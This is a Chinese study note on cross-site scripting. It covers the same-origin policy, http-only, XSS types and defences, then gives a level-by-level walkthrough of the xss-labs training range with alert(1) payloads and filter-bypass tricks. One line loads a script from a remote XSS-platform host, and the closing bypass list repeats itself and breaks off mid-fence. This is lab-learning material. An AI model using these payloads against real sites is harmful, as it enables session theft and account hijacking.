文章目录
XSS
文档:XSS通关小游戏以及我的挑战思路分享(XS…
链接:http://note.youdao.com/noteshare?id=20a8a71c73b81acc92438ce754c58a8d
基础知识
HTML字符实体
显示结果 | 描述 | 实体名称 | 实体编号 |
---|---|---|---|
空格 | |   | |
< | 小于号 | < | < |
> | 大于号 | > | > |
& | 和号 | & | & |
" | 引号 | " | " |
%0A:URL编码、换行符
js执行方式
<input ...><script>alert(1);</script> //直接嵌入script
<script src=https://xsspt.com/MQzN0Z></script> //从远程嵌入script
<input type="text" value="abc" onclick="alert(1);"> //通过事件属性值传入script字符串
<a href=javascript:alert(1)>test</a> //超链接
或<a href=javascript:alert(1)>aaa</a> //html实体转义
html事件
<button onclick="getElementById('demo').innerHTML=Date()">现在的时间是?</button> <button onclick="this.innerHTML=Date()">现在的时间是?</button> <button onclick="displayDate()">现在的时间是?</button>
事件
事件 | 描述 |
---|---|
onchange | HTML 元素改变 |
onclick | 用户点击 HTML 元素 |
onmouseover | 用户在一个HTML元素上移动鼠标 |
onmouseout | 用户从一个HTML元素上移开鼠标 |
onkeydown | 用户按下键盘按键 |
onload | 浏览器已完成页面的加载 |
绕过姿势
大小写绕过
编码绕过
双写绕过
生僻函数绕过
html基础
<script>
<textarea>
<input>
<form>
js基础
第一个弹窗
<script>alert(1);</script>
js控制台输出
console.log(1)
console.log`1`
js注释符://,仅能注释当前行
!!!WARNING:极其危险,不建议使用。尽量使用闭合!
浏览器安全策略
同源策略
要素:域名、端口、协议
判断下面是否同源(1、5、6)
http://baidu.com/
http://www.baidu.com
http://www.baidu.com:9001
https://baidu.com
http://baidu.com/abc/
http://baidu.com/lab/
xss植入论坛的代码里,然后xss运行后将cookie发送到另外一台服务器上的xss平台上,这明明是两个网站,为什么xss平台网站能够获取论坛的cookie?
http-only
这是一个服务器下发给客户端的一个http响应头的字段内容。
安全策略下的通信
http-only属性开启情况下
浏览器仍然可以自动带上cookie访问访问当前页面网站
当前页面中的js代码去访问其他网站时,不会自动带上cookie去访问非同源网站,cookie无法传送出去
同源策略情况下
网站js能够读取cookie并传送给其他服务器(http-only未开启情况下);
网站js不能够去读取非同源网站的cookie,不能够操作其他网站的DOM。
XSS介绍
XSS概念
CSS(Cross Site Scripting)—>>>XSS(跨站脚本攻击)
目的:让受害者http客户端运行攻击者编写的恶意脚本。
目标:前端脚本解析器,比如浏览器的javascript解析引擎、IE中的VBScript解析引擎。
攻击的架构:BS架构(browser<–>(http)server)
XSS危害
XSS能够产生的危害依赖于浏览器客户端脚本解析引擎的能力。
- 技术上
窃取凭证
篡改DOM(篡改页面布局及内容)
嵌入恶意的脚本代码
发起恶意请求(Ajax)
- 社会影响上
无账号密码的情况下非法登录网站
网络钓鱼
网页蠕虫
网页篡改
破解CSRF token限制
XSS漏洞原理
前端用户提交的脚本代码被其他用户浏览器执行产生预期外的执行后果。(让自己提交的前端脚本代码被别人运行)
XSS分类
三类:反射型、存储型、DOM型
反射性XSS:一次性XSS,与服务器交互
存储型XSS:持久性XSS,与服务器交互
DOM型XSS:一次性XSS,不与服务器交互
如何发现XSS漏洞点
找到输入点和输出点、以及两者共存的情况,或者根据输入点猜测后台的输出点位置及触发条件(盲X),比如:各类表单处、文件上传点等等
XSS利用思路与步骤
- 找到输入点和输出点、以及两者共存的情况,或者根据输入点猜测后台的输出点位置及触发条件(盲X)
- 构造payload,尽量一次性成功
- 观察闭合、过滤和拦截情况
- 重新构造payload
- 如不成功,重复第3、4步
XSS防御思路
- 白名单策略
- 使用白名单写死允许的标签和事件规则
- 黑名单策略(不可靠)
- html实体编码转义
"、'、/、<、>、script、事件函数名
- 采用成熟防XSS的框架(参考OWASP网站)
- 服务端添加http-only头下发到客户端(防止cookie窃取)
- 采用最新版本浏览器
闯关
靶场:xss-labs
在线靶场:
http://xss-quiz.int21h.jp/
类型:反射型xss
pass1
<script>alert(1)</script>
pass2
"><script>alert(1)</script>
pass3
单引号闭合,使用on事件绕过
Payload:' onclick=alert(1) '
pass4
双引号闭合,使用on事件绕过
Payload:" onmouseover=alert(1) "
pass5
Input标签过滤了on事件及<script>
语句,使用<a>
标签绕过
Payload: "><a href=javascript:alert(1)>
pass6
Input标签过滤了on事件,<script>
语句及<a>
标签,使用大小写绕过或者使用svg标签
Payload:"> <a HREF=javascript:alert(1)>test</a>>
或者"><svg x="" Onclick=alert(1)>
pass7
Input标签同样过滤了script等关键字,且将对应的关键字直接置换为空,由此使用双写绕过
Payload:"> <scrscriptipt>alert(1)</scrscriptipt>
pass8
Input标签过滤javascript关键字,会把javascript变成javasc_ript,通过将“JavaScript”进行HTML字符实体转换绕过
Payload:javascript:alert(1)
pass9
Input标签过滤javascript关键字,会把javascript变成javasc_ript,通过将“JavaScript”进行HTML字符实体转换绕过
通过源码审计得知输入payload必须要包含http://(用单行注释符//注释掉后面的http://)
Payload:javascript:alert(1)//http://
pass10
打开界面发现没有输入点,使用F12审查元素得知有隐藏的表单
共有三个input标签,但只能使用第三个
将t_sort的type类型修改为text类型,在输入框内输入payload:test" onmouseover="alert(1)
,回车,无反应,重新将type类型修改为text类型,回车
鼠标移到输入框,通关
前两个标签在修改为text类型后,将payload输入,回车会将payload吃掉
pass11
依旧是隐藏了表单,使用前一关的方法发现对"
、<
等进行了过滤
但又发现多了一个input标签(t_ref)
测试发现修改type类型后无论写什么值都会被覆盖
F12审查发现与网页请求头的referer内容相同
但是referer在本页请求是不存在的,所以在第十关通关时通过抓包修改进入第十一关的referer
放行后,进入下一关,修改标签类型为text,回车,鼠标移到输入框,通关
pass12
与十一关类似,直接本关抓包修改user-agent
payload:" onmouseover="alert(1)
payload(抓包建议):" type="text" onclick="alert(1)
或者
直接F12修改t_ua
标签
放行(F12修改)后,修改标签类型为text,回车,鼠标移到输入框,通关
pass13
同第十二关
抓包修改cookie
或者
直接F12修改t_cook
标签
payload:" onmouseover="alert(1)
payload(抓包建议):" type="text" onclick="alert(1)
pass14/pass15
调用的文件地址失效,无法进行测试
pass16
代码审计值含有keyword变量,且后台将Script、空格、/
都进行了过滤
%0A:URL编码、换行符
payload:?keyword=<a%0Atype="text"%0Aonmouseover=alert(1)>
pass17
-
根据返回的代码判断,arg01和arg02提交的变量存在注入点
-
进行注入
payload:
?arg01=a&arg02=b onmouseover=alert(1)
ps:火狐不支持swf,可以使用谷歌
pass18
同十七关
pass19/pass20
flash xss,涉及到反编译
反射型XSS测试步骤总结
-
检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的radio值或选择值
-
分别确认每个输入变量是否存在xss漏洞。变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤,浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。
xss的攻防
1.利用<>标记,构造<script>
标签可执行javascript的xss代码。
xss过滤函数需过滤<><script></script>
等字符。
2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。
xss 过滤函数需过滤JavaScript等关键字。
3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。
4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。
xss 过滤函数需过滤&#\等字符。
5.利用事件处理函数,触发事件,执行xss代码。例如<img src='#' onerror=alert(/xss/)>
,当浏览器响应页面时,找不到图片的地址,触发onerror事件。
6.利用css执行javascript代码
css代码中利用expression触发xss漏洞。
<div style="width: expression(alert('xss'));>
<img src="#" style="xss:expression(alert(/xss/));">
<style>body {background-image:expression(alert("xss"));}</style>
<div style="list-style-image:url(javascript:alert('xss'))">
css代码中利用@import触发xss
<stytle>
@import 'javascript:alert("XSS")';
</stytle>
css代码中使用@import和link方式导入外部含有xss代码的样式表文件
<link rel="stytlesheet" href="http://www.***.com/a.css">
<stytle type='text/css'>@import url(http://www.*.com/a.css);</style>
xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。
7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、 运用/**/混淆过滤规则来绕过过滤函数
8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。
alert(“XSS”)’;
css代码中使用@import和link方式导入外部含有xss代码的样式表文件
```html
<link rel="stytlesheet" href="http://www.***.com/a.css">
<stytle type='text/css'>@import url(http://www.*.com/a.css);</style>
xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。
7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、 运用/**/混淆过滤规则来绕过过滤函数
8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。